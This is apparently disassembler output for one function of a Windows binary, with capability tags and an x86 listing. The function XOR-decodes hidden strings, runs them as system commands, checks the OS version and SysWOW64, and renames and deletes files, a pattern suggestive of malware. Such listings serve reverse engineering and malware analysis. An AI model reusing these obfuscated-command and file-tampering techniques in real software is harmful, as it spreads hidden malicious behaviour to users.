Function at 0x401430
Capabilities:
Check if file exists
Check os version
Delete file
Execute command
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x9c
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
mov dword [ebp - 0x104], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, 0x8a
xor eax, eax
mov dl, byte [eax + 0x4093bc]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x401494
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x29
jl 0x401477
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_system]
push esi
lea eax, [ebp - 0x30]
push edi
push eax
mov byte [ebp - 7], 0
call ebx
add esp, 4
mov ecx, 0xa3
xor eax, eax
mov dl, byte [eax + 0x4093e8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x48], dl
jns 0x4014d4
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x40
jl 0x4014b7
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 8], 0
call ebx
add esp, 4
mov ecx, 0xe3
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x40942c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x40150d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x29
jl 0x4014f0
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 7], 0
call ebx
add esp, 4
mov ecx, 0x52
xor eax, eax
mov dl, byte [eax + str._056:_x]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x48], dl
jns 0x401544
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x40
jl 0x401527
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 8], 0
call ebx
mov eax, dword [ebp - 0x100]
add esp, 4
cmp eax, 6
jne 0x4015f0
mov eax, dword [ebp - 0xfc]
cmp eax, 2
je 0x4015fe
cmp eax, 3
je 0x4015fe
cmp eax, 1
jne 0x4015df
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:WindowsSYSWOW64
call esi
cmp eax, 0xffffffff
je 0x4015a9
test al, 0x10
je 0x4015a9
push str.C:WindowsSYSWOW64
call esi
cmp eax, 0xffffffff
je 0x4015df
test al, 0x10
je 0x4015df
mov edi, 0x4095e4
push 0x10
sub edi, 0x3390f3b3
lea esi, [ebp - 0x5c]
call fcn.00404e50
push eax
mov edi, 0x1f3e6106
lea esi, [ebp - 0x48]
call fcn.00404e10
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push str.pause
call ebx
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
cmp eax, 0xa
jne 0x4015df
cmp dword [ebp - 0xfc], 0
jne 0x4015df
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:WindowsSYSWOW64
call esi
cmp eax, 0xffffffff
je 0x401618
test al, 0x10
jne 0x4016b3
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, str.:_
sub edi, 0x2ddd973e
lea esi, [ebp - 0x28]
mov ebx, 0x4094d4
call fcn.00404c50
push eax
lea edi, [ebx - 0x48118b4e]
lea esi, [ebp - 0x68]
call fcn.00404c10
push eax
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
lea edi, [ebx - 0x48118b4e]
lea esi, [ebp - 0x68]
call fcn.00404c10
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, 0x4094f4
sub edi, 0x524342f9
lea esi, [ebp - 0x68]
call fcn.00404cd0
mov edi, 0x4609e587
lea esi, [ebp - 0x48]
mov ebx, eax
call fcn.00404c90
mov edx, ebx
mov ecx, eax
call fcn.00401140
push 0x40955c
call dword [sym.imp.MSVCR100.dll_system]
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040748c
mov esp, ebp
pop ebp
ret
push str.C:WindowsSYSWOW64
call esi
cmp eax, 0xffffffff
je 0x4015df
test al, 0x10
je 0x4015df
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x409560
sub edi, 0x77b7b936
lea esi, [ebp - 0x28]
call fcn.00404d50
push eax
mov edi, 0x37287fc
lea esi, [ebp - 0x68]
call fcn.00404d10
push eax
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
mov edi, 0x5477e1b
lea esi, [ebp - 0x68]
call fcn.00404d90
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, 0x4095c4
sub edi, 0x4d357226
lea esi, [ebp - 0x68]
call fcn.00404dd0
mov edi, 0x4609e587
lea esi, [ebp - 0x48]
mov dword [ebp - 0x108], eax
call fcn.00404c90
mov edx, dword [ebp - 0x108]
mov ecx, eax
call fcn.00401140
push 0x40955c
jmp 0x4015da